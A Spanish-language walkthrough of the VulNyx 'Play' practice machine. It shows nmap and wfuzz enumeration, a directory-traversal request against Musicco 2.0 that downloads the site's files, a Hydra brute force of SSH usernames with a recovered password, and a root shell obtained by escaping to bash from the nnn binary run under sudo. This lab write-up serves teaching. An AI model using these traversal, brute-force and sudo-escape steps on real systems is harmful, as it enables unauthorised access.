VulNyx - Play
- Arbitrary Directory Download - Musicco 2.0
- SSH Brute Force Username - Hydra
- Abusing Nnn Binary - Sudo Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.74
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.74
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Realizo fuerza bruta de directorios y encuentro el directorio /playlist.
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/common.txt 192.168.1.74/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.74/FUZZ
Total requests: 4723
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002197: 200 368 L 933 W 10701 Ch "index.html"
000003152: 301 9 L 28 W 315 Ch "playlist"
000003719: 403 9 L 28 W 277 Ch "server-status"
Visito el directorio /playlist.
Me voy a la rueda de herramientas y doy clic a about.
Dentro de about veo la versión del programa.
Buscando en internet encuentro este exploit y seguidamente uso wfuzz para enumerar directorios usando la ruta del exploit.
❯ wfuzz -c --hc=404,500 --hl=5188 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://192.168.1.74/playlist/?getAlbum&parent=FUZZ&album=Efe'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.74/playlist/?getAlbum&parent=FUZZ&album=Efe
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000172: 200 0 L 0 W 0 Ch "music"
000000909: 200 371 L 3318 W 86295 Ch "app"
000001220: 200 74 L 735 W 18594 Ch "theme"
000000222: 200 24620 242290 W 6196859 C "doc"
000001471: 200 0 L 0 W 0 Ch "temp"
Añado ../ para realizar fuerza bruta a un directorio superior y encuentro el directorio /playlist.
❯ wfuzz -c --hc=404,500 --hl=5188 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://192.168.1.74/playlist/?getAlbum&parent=../FUZZ&album=Efe'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.74/playlist/?getAlbum&parent=../FUZZ&album=Efe
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000014: 200 0 L 0 W 0 Ch "http://192.168.1.74/playlist/?getAlbum&parent=../&album=Efe"
000007607: 200 0 L 0 W 0 Ch "playlist"
Abro en el navegador la ruta del exploit con el directorio /playlist y automáticamente se descarga el archivo Efe.zip
.
Descomprimo el archivo.
❯ unzip Efe.zip
Una vez descomprimido veo los siguienets archivos y carpetas.
En config.php
encuentro una contraseña.
Intento conectarme por SSH con el usuario admin y unknown pero no són válidos, así que uso Hydra para realizar fuerza bruta al usuario y encontrar un usuario válido.
hydra -L /usr/share/seclists/Usernames/Names/names.txt -p 'i********c' ssh://192.168.1.74 -F -I -V
[22][ssh] host: 192.168.1.74 login: andy password: i********c
hay que poner las comillas simples de lo contrario hydra no detectará correctamente la flag
-p
.
Me conecto al sistema como andy.
❯ ssh andy@192.168.1.74
andy@192.168.1.74's password:
andy@play:~$ id
uid=1000(andy) gid=1000(andy) grupos=1000(andy)
Enumero permisos de sudo.
andy@play:~$ sudo -l
Matching Defaults entries for andy on play:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User andy may run the following commands on play:
(root) NOPASSWD: /usr/bin/nnn
Lanzo el binario nnn con permisos de sudo.
andy@play:~$ sudo /usr/bin/nnn
Veo la siguiente ventana.
Si pulso la letra e me abre el archivo user.txt
con el editor vi.
Escribo :!/bin/bash
.
Y obtengo el root.
Y aquí termina la máquina Play.
Saludos!